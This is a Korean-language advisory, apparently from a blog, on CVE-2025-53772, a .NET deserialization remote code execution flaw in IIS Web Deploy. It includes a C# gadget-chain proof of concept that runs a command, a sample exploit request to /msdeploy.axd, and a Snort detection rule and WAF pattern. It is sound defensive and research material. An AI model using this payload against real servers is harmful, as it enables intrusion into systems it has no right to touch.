( 1 ) 취약점 설명
[CVE-2025-53772] IIS Web Deploy RCE 취약점은 GZIP 및 Base64 디코딩을 거친 후 msdeployagentservice 및 msdeploy.axd 엔드포인트로 전송된 특정 HTTP 헤더 필드의 역직렬화 과정에서 발생함.
( 2 ) IIS Web Deploy
IIS Web Deploy(msdeploy) 는 웹 애플리케이션, IIS 구성 및 공급자 기반 리소스를 패키징하여 대상 환경으로 전송하는 도구 모임임.
다음 도 가지 유형의 액세스 메커니즘을 지원함.
- HTTP(S) 엔드포인트를 통한 웹 관리 서비스(WMSvc) : /msdeploy.axd
- 웹 배포 에이전트 서비스(MsDepSvc) : msdeployagentservice
주요 기능은 다음과 같음.
- 파일, 웹사이트, 인증서, 데이터베이스 등에 대한 공급자를 사용한 동기화 및 배포
- 패키지 생성(GetPackage) 및 패키지 애플리케이션(Sync) 워크플로우
이러한 높은 유연성은 입력의 유효성을 엄격하게 검증하지 않는 직렬화 설계와 결합될 경우 공격 범위를 확장함.
( 3 ) 취약점 분석
1. 클라이언트가 Web Deploy 동기화 요청을 보낼 때, 특정 커스텀 헤더(예: MSDeploy.SyncOptions, MSDeploy.RequestId)에 직렬화된 옵션 데이터가 포함됨.
2. 서버 측에서 해당 헤더 값을 GZip 해제 → Base64 디코드 → .NET 역직렬화 순으로 처리함.
3. 역직렬화 루틴이 신뢰되지 않은 데이터를 충분히 검증하지 않고 처리하여, 공격자가 가젯 체인이 포함된 직렬화 페이로드를 주입하면 임의 코드 실행으로 이어짐.
( 4 ) PoC
1. PoC 코드
static void Main(string[] args) {
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d =
(Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add("cmd.exe");
set.Add("/c calc");
FieldInfo fi =
typeof(MulticastDelegate).GetField("_invocationList",
BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
invoke_list[1] = new Func<string, string,
Process>(Process.Start);
fi.SetValue(d, invoke_list);
using (MemoryStream stream = new MemoryStream())
{
BinaryFormatter formatter = new BinaryFormatter();
formatter.Serialize(stream, set);
using (MemoryStream compst = new MemoryStream())
{ using (GZipStream gzipStream =
new GZipStream(compst, CompressionMode.Compress)) { stream.Position = 0; stream.CopyTo(gzipStream); } string gzb4 =
Convert.ToBase64String(compst.ToArray()); Console.WriteLine(gzb4);
}
} } |
2. PoC 실행 시 패킷 덤프
POST /msdeploy.axd HTTP/1.1 Host: msdeploy.webserver.com MSDeploy.RequestId: 1 Content-Type: application/msdeploy MSDeploy.Method: Sync MSDeploy.SyncOptions:
H4sIAAAAAAAAA...[Generated Payload] Content-Length: 0 |
( 5 ) 취약점 대응
1. 버전 업데이트 적용
Web Deploy 4.0, 10.0.2001 미만 버전이 영향이 있음.
그 이상 버전으로 업데이트 적용함.
2. Snort 패턴
alert tcp any any -> any any (msg:"CVE-2025-53772_IIS Web Deploy RCE"; flow:established,from_client; content:"POST /msdeploy.axd"; depth:18; content:"|0d 0a|MSDeploy.SyncOptions|3a| H4sIAAAAAAAA"; nocase;)
3. 웹방화벽 패턴
설명 : HTTP URL /msdeploy.axd 탐지하는 패턴
HTTP URL : /msdeploy.axd
참고 사이트 :
https://hawktrace.com/blog/cve-2025-53772
https://gist.github.com/hawktrace/67836c7e9f35b72077b50f220349cd73
https://nvd.nist.gov/vuln/detail/CVE-2025-53772
댓글 없음:
댓글 쓰기